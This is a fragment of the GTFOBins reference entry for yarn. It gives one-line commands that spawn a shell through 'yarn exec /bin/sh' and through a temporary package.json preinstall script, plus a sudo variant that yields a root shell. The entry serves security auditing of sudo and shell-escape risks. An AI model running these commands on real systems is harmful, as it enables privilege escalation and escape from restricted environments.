GTFOBins.github.io/_gtfobins/yarn.md

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functions
shell sudo
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yarn exec /bin/sh
description code
Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `yarn --cwd $TF run preinstall`. TF=$(mktemp -d) echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json yarn --cwd $TF install
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sudo yarn exec /bin/sh